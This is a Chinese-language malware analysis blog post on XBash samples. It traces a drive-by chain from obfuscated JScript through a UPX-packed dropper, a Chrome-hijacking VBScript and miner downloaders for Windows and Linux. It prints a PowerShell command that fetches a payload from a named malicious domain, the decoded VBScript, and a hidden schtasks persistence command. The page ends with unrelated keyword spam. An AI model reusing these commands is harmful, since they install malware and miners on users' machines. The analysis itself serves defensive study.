千家信息网

Xbash部分样本分析

发表于:2025-02-23 作者:千家信息网编辑
千家信息网最后更新 2025年02月23日, 病毒样本下载来源于i春秋一位cq5f7a075d作者的主题帖《XBash系列病毒样本分析报告》,是一个Iron Group组织使用的XBash恶意软件,样本链接:https://bbs.ichunq
千家信息网最后更新 2025年02月23日Xbash部分样本分析

 病毒样本下载来源于i春秋一位cq5f7a075d作者的主题帖《XBash系列病毒样本分析报告》,是一个Iron Group组织使用的XBash恶意软件,样本链接:https://bbs.ichunqiu.com/thread-47475-1-1.html ,推荐几个比较活跃的样本下载区,如卡饭、i春秋、吾爱、VirusShare等都比较活跃。

✎故事还是要从挂马网站开始,也就是网页下载恶意代码开始分析,如下所示:

                    图片一:JScript脚本
变量ebc9拖入010中转换成字符串如下所示:

                    图片二:数组还原
还原Js代码如下所示,图片中给出了还原的代码(已标红):

                    图片三:代码复原
✍如上述代码,做了以下几件事情:
  1、使用了ActiveX控件,注意这个只有IE才支持,因为是微软的。
  2、获取了temp的临时路径,拼接了IE浏览器进程名(伪装)。
  3、判断是否临时文件是否存在,如果不存在则执powershell指令,指令如下:
powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://daknobcq4zal6vbm.tk/tg.jpg',$env:TEMP+'/explorer.exe');意思就是远程下载脚本绕过执行策略并隐藏执行窗口,powershell指令执行一般不会杀毒软件被拦截,这样就达成了目的,下载恶意代码并且伪装成explorer.exe。
  4、执行下载的恶意代码。


✎关于挂马网站分析完毕,下面就是分析下载下来的恶意代码,如下所示:

                    图片四:脱壳
如上所示,样本加了一个UPX壳,脱掉修复IAT后样本就被还原了,拉入IDA后如下所示:

                    图片五:主函数
sub_405920分析如下,先获取了window shell特殊文件夹的标识值,如下所示:

                    图片六:SHGetSpecialFoladerPathA
继续分析,然后初始化了一段字符串,且求出了字符串大小,流程图如下:

                    图片七:字符串
其实一开始静态观察猜错了初始化的字符串顺序....,然后动态调试为了验证数据的精准,下面继续调用了函数流程如下,根据字符串初始化进行了获取名称,锁机制设置,如下所示:

                    图片八:执行流程
根据字符串运算获取了名称,拼接路径如下:

                    图片九:C:\Program Files\TempBMBD19XS
这里还不算真正开是,只是做了个预热,下面样本开始认真了,如下所示:

                    图片十:静态分析
如上图所示,获取了运行路径,拼接了chrome.crx,当有路径出现的时候就会有操作,如下所示:

                    图片十一:chrome.crx
继续分析函数sub_408360,选择了动态调试字符串,因为字符串加密了,所以动态调试分析起来相对轻松一些,内部代码如下所示:

                    图片十二:sub_408360
分析函数sub_40D0B0的时候,汇编分析时候根据循环规律猜出部分代码(可惜猜错了)。在OD中字符串解密看一下,看到CreateToolhelp32Snapshot函数时候,就明白这是要创建进程快照,也明白了整个函数的意义,如下所示:

                    图片十三:sub_40D0B0.CreateToolhelp32Snapshot
遍历进程,杀掉chrome进程,如下所示:

                    图片十四:Kill chrome.exe
如上图所示,经过这一层关系,根据当前分析的情况,chrome.exe(chrome.crx)样本肯定准备这样伪装,继续线性分析,如图十二所示:
1、打开注册表SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe,请求Path。
 2、如果成功拼接路径C:\Programiles\Google\Chrome\Application\chrome.exe


接下来,在路径下创建文件写入数据了,如下所示:

                    图片十五:_mkdir and write
解压了数据,收尾工作,利用schtasks计划启动释放的程序,如下所示:


                    图片十六:WinExec
sub_408360光荣的完成他的使命,查杀chrome.exe进程,且创建释放恶意代码,调用WinExec执行释放的文件。

 做了这些事情之后还没有结束,到了分水岭,有意思的是判断了运行样本的命令行参数 ,分析如下:



                    图片十七:分水岭
不相等则跳转,如果相等最终会则执行流程如下图所示:

                    图片十八:成功
该文章重点分析不跳转情况(真机环境下没有跳转),如下所示:

                    图片十九:创建且写入恶意代码
 如果上面解压chrome.crx那段汇编熟悉的话,你会发现套路是相同:
  1、获取文件名称,拼接文件路径。
  2、创建及写入恶意代码过程。
  3、那么就该执行恶意代码了呗。

我们对比一下写入的数据是或否相同,从而验证是否函数功能的正确性,如下所示:

                    图片二十:写入恶意数据
请求rundll32.exe执行DllUnInstall,然后创建恶意代码流程如下所示:


                    图片二十一:执行恶意dll
 然后调用了ExitProcess结束了自己的一生,这个被挂马网站下载下来的病毒干了两件事:
  1、运行了sec.vbe
  2、运行了xxx.dat(名字是随机dll文件)


所以目标也很明确,被运行的两个程序,依次分析,运行时的顺序有时候也是刻意安排的,接下来分析sec.vbe:
看后缀都明白,这是一个VB语言写的病毒,先打开看一看,长什么样,如下图所示:

                    图片二十二:加密sec.vb
根据风格应该是微软的ScriptEncode编码算法来加密的,所以先尝试一下,不对在换就行了,解密后代码如下:

vb中注释是单引号 ' On Error ReSume Next:                               ' 这一句vb代码是异常处理,错误时会继续运行,不中断strComputer = ".":Set OBjWMISeRvice = GETobject("winmgmts:\\"&StrComPuter&"\root\CIMV2"):                             ' set是用于给对象变量赋值  返回ActiveX对象Set CoLiTems = ObjWmISErvice.ExeCquery("SELECT * FROM Win32_Process where name='chrome.exe' ",,48): 'ExeCquery是指关闭指定用户进程SeT objShell = CreateObjeCt("WScript.Shell"):       ' 创建WScript。sehll对象starT = False:' 遍历且与关键字对比FOr Each ObjITem in colItEms:    iF INstr(objitem.CommandLiNe,"silent-launch") > 1  ' vb中变量不区分大小写 字符串区分    thEn start = true:    end if:    NEXt:' 关闭进程function Killproc(strProcname):    On ErroR REsume Next:    Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2"):    Set arRProcesses = objWmIServiCe.ExEcQuery("select * from win32_process where Name ='"&strprocname&"'"):    for Each Proccess In aRrpRocessEs:     proccess.Terminate 0:       ' terminate是指事件的终止    Next:ENd FuncTiOn:If nOT start     then KillprOc("chrome.exe"):    ' 杀死进程    Dim Instpath:                   ' 根据变量类型为变量分配内存空间     INstpaTh = objShell.Regread("HKLM\Software\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe\Path"):  ' 读取注册表    appdataLocAtIon = objShell.ExpandENvironmenTStriNgs("%LOCALAPPDATA%"):      ' 获取路径 C:\Users\xxx\AppData\Local    chrome_locatIon = AppDataLoCaTion+"\chrome":                                ' 拼接路径 C:\Users\xxx\AppData\Local\chrome    objShell.eXec(InsTPaTh+"\chrome.exe --load-extension="+chrome_locatIon+" --silent-launch --enable-automation"):    ' --load-extension  每次重启chrome的快捷方式会被替换C:\Users\xxx\AppData\Local\chrome    ' --silent-launch   表示不开启chrome,静默安装    ' --enable-automation 开启自动化End if

如何解密呢,在线解密https://www.jb51.net/tools/onlinetools/jiemi/jsendecode.htm
上面vb脚本分析,对于关键的数据出写出详细的注释,这里不一一罗嗦,sec.vbe关闭chrome,然后替换了了Chrome的快捷方式。

 至于.dat是一个dll文件,PEID查看后发现加油vmp虚拟壳,对于这个壳,带壳调试的话,过虚拟、过反调试可以动态调试.....这里有兴趣的朋友自行分析,能力有限不能很好的分析该病毒的出步骤,所以这一个比较关键的环节略过......
通过dll执行(也就是上述省略分析的.dll文件),做了那些事情呢?
  1、在windows下释放了一段可执行的恶意代码,包含了powershell指令(用于下载挖矿)
  2、Linux下释放了.sh的脚本(用于进程查杀及下载挖矿)
其实就是释放了两个下载器,我们分析一下释放的下载器。


Windows下Powershell如下所示:
前置知识:
  1、-EncodedCommand 接受 base-64 编码字符串版本的命令。使用此参数向 Windows PowerShell 提交需要复杂引号或大括号的命令。 代码中-E
  2、-WindowStyle将窗口样式设置为 Normal、Minimized、Maximized 或 Hidden。 代码中-W
  3、-noprofile 简写 -NoP, 为不加载 windows poweshell 配置文件
  4、-NonInteractive不向用户显示交互式提示。


 打开.ps1脚本,发现被加密,如下所示:

                    图片二十三:加密的Powershell指令
根据-E的参数,我们可以先推测使用了Base64进行了整体加密,下面在线Base64解密之后,如下图片所示:

                    图片二十四:Base64解密
第一次Base64解密后,虽然还有大量的字符不识别,但是露出了关键一些数据,如iex,这就为后续的解密提供了思路,脚本中有IEX关键字了,我们去掉且重定向到新得文件中,尝试解密,解密后数据如下图所示:如下所示:

                    图片二十五:Base64解密
分析Function DllMiner函数,如下所示:

                    图片二十六:Function DllMiner     
函数内容将数据下载并截获正确得恶意代码写入到文件,命名为tmp.jpg,执行下载得文件,然后把DllMiner函数写入到额tmp.ps1,如下所示:

                    图片二十七:tmp.ps1
调用了SchTasks.exe执行计划任务,如下所示:

SchTasks.exe /Create /SC MINUTE /TN "Update " /TR "PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -noexit -File $env:TMP\tmp.ps1" /MO 6 /参数介绍:    1、/Create       创建新计划任务。    2、/TN   taskname   指定唯一识别这个计划任务的名称    3、/ST   starttime    指定运行任务的开始时间  /SC MINUTE (一分钟)    4、/TR   taskrun    指定在这个计划时间运行的程序的路径    5、/MO   modifier    改进计划类型以允许更好地控制计划重复总结:一分钟运行一次tmp.ps1,也就是Function DllMiner函数

下载得其实是挖矿程序,对于挖矿程序得分析不到位,有兴趣得可以分析一下。

补充:
1、电脑不能运行powershell脚本?报错让参考策略修改,修改配置如下图所示:

                    图片二十八:powershell策略配置
 2、Powershell关于IEX混淆解密相关介绍:https://www.codercto.com/a/24286.html

Linux下.sh如下所示:
看看Linux下.sh脚本是如何运行的,如下所示:

                    图片二十九
一个死循环,两个函数,就是整个脚本的内容,kills函数如下所示:

                    图片三十
各种kill与pkill,终止其他程序的挖矿进程。然后开始执行downloadyam函数,如下所示:

                    图片二十一
上述标红是注释,这便是脚本执行的过程,xx.sh总共下载了五个文件:
  config.json,bashf,pools.txt,bashg,XbashY
到此两个下载器分析完毕,至于挖矿程序的分析,还是不献丑了........以后有时间学习研究后,再来补上未分析的部分。

未完待续!

图片 分析 代码 函数 恶意 文件 字符 字符串 运行 脚本 路径 进程 样本 数据 程序 加密 关键 变量 指令 流程 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 医院网络技术设计方案 软件开发服务小规模企业税率 点军东土科技工业互联网产业园 苹果怎么总是无法连接服务器 国家产业安全数据库 虚拟服务器地址 网络技术维护职责 员工网络安全ppt 国家网络安全教学委 松江区互联网教育科技统计 使用数据库检索的感想 应用交付网络技术 吴中区远程指导软件开发代理商 上海高科技互联网企业 下面不属于网络安全技术的是 租服务器必须公司和公司签合同吗 服务器安全防御服务商 网络安全法规定大众传播 自己架设的手游提示服务器维护中 四川北斗授时模块服务器云主机 校本研修网络安全 消防监控网络技术要求 网络安全工程师选拔测试题 数据库中怎么做笛卡尔积 远程服务器卡死了有什么办法 网络安全手抄报黑笔 磁盘阵列 连接服务器 图表怎么调整数据库 qt从数据库中读取数据 网络安全大讲堂辽宁锦州
0